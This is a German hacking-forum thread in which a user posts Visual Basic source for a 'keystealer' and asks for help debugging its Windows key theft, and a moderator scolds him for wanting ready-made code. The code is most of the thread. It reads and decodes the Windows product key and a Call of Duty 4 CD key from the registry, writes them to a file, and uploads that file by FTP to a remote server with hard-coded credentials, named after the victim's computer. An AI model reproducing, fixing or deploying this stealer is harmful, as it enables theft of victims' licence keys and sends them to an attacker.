|
| Autor |
Nachricht |
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Windows Key
Verfasst am: 23.02.2008, 12:11 |
|
|
Hallo,ich versuche grade in ein keystealer einzubauen das er auch den windows key stealt aber es funtz net
| Code: | 'API
Option Explicit
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that If you declare the lpData parameter as String, you must pass it By Value.
Private Const REG_BINARY = 3
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
'Funktion, gibt den Serial zurück
Public Function sGetXPCDKey() As String
'Read the value of:
'HKLM\SOFTWARE\MICROSOFT\Windows NT\Curr
' entVersion\DigitalProductId
Dim bDigitalProductID() As Byte
Dim bProductKey() As Byte
Dim ilByte As Long
Dim lDataLen As Long
Dim hKey As Long
'Open the registry key: HKLM\SOFTWARE\MI
' CROSOFT\Windows NT\CurrentVersion
If RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", hKey) = ERROR_SUCCESS Then
lDataLen = 164
ReDim Preserve bDigitalProductID(lDataLen)
'Read the value of DigitalProductID
If RegQueryValueEx(hKey, "DigitalProductId", 0&, REG_BINARY, bDigitalProductID(0), lDataLen) = ERROR_SUCCESS Then
'Get the Product Key, 15 bytes long, off
' set by 52 bytes
ReDim Preserve bProductKey(14)
For ilByte = 52 To 66
bProductKey(ilByte - 52) = bDigitalProductID(ilByte)
Next ilByte
Else
'ERROR: Could not read "DigitalProductID
' "
sGetXPCDKey = ""
Exit Function
End If
Else
'ERROR: Could not open "HKLM\SOFTWARE\MI
' CROSOFT\Windows NT\CurrentVersion"
sGetXPCDKey = ""
Exit Function
End If
'Now we are going to 'base24' decode the
' Product Key
Dim bKeyChars(0 To 24) As Byte
'Possible characters in the CD Key:
bKeyChars(0) = Asc("B")
bKeyChars(1) = Asc("C")
bKeyChars(2) = Asc("D")
bKeyChars(3) = Asc("F")
bKeyChars(4) = Asc("G")
bKeyChars(5) = Asc("H")
bKeyChars(6) = Asc("J")
bKeyChars(7) = Asc("K")
bKeyChars(8) = Asc("M")
bKeyChars(9) = Asc("P")
bKeyChars(10) = Asc("Q")
bKeyChars(11) = Asc("R")
bKeyChars(12) = Asc("T")
bKeyChars(13) = Asc("V")
bKeyChars(14) = Asc("W")
bKeyChars(15) = Asc("X")
bKeyChars(16) = Asc("Y")
bKeyChars(17) = Asc("2")
bKeyChars(18) = Asc("3")
bKeyChars(19) = Asc("4")
bKeyChars(20) = Asc("6")
bKeyChars(21) = Asc("7")
bKeyChars(22) = Asc("8")
bKeyChars(23) = Asc("9")
Dim nCur As Integer
Dim sCDKey As String
Dim ilKeyByte As Long
Dim ilBit As Long
For ilByte = 24 To 0 Step -1
'Step through each character in the CD k
' ey
nCur = 0
For ilKeyByte = 14 To 0 Step -1
'Step through each byte in the Product K
' ey
nCur = nCur * 256 Xor bProductKey(ilKeyByte)
bProductKey(ilKeyByte) = Int(nCur / 24)
nCur = nCur Mod 24
Next ilKeyByte
sCDKey = Chr(bKeyChars(nCur)) & sCDKey
If ilByte Mod 5 = 0 And ilByte <> 0 Then sCDKey = "-" & sCDKey
Next ilByte
sGetXPCDKey = sCDKey
End Function
Private Function FileExists(ByVal FileName As String) As Boolean
On Local Error Resume Next
FileExists = (Dir$(FileName) <> "")
End Function
Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
Private Sub Form_Load()
Dim sGetXPCDKey As String
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")
key = ("")
Dim key As String
key = sGetXPCDKey()
If Not key = "" Then
Dim LocalFile As String
LocalFile = Environ("windir") & "\" & "cdkeys.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
Open LocalFile For Output As #1
Print #1, Inhalt
Print #1, key
Close #1
Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemotePort = "21"
Inet1.URL = "gfg.fg.gff.se"
Inet1.UserName = "ttt"
Inet1.Password = "rt"
Inet1.Execute , "PUT " & LocalFile & " " & RemoteFile
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile
End Sub
|
|
|
| |
|
 |
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 23.02.2008, 12:37 |
|
|
In diesem Board solltest du eigentlich lernen wie du deine Bugs selbst fixen kannst.
Du suchst nur nach fertigen Source Codes und versuchst dir daraus deine Tools zu basteln.
Was denkst du warum dir keiner mehr helfen will? Ach so, schau dir das hier mal an:
http://de.wikipedia.org/wiki/Eigeninitiative |
|
| |
|
|
boterfreak_
Coder
Anmeldedatum: 19.01.2008
Beiträge: 75
|
Verfasst am: 23.02.2008, 12:39 |
|
|
| LOL ?? ich habe doch nur gefragt wo der fehler drinne ist und nicht den ganzen source |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 23.02.2008, 13:52 |
|
|
Du fragst aber ziemlich oft nach Bugfixes und auch nach fertigen Source Codes. |
|
| |
|
|
|
|
Registrieren
Login
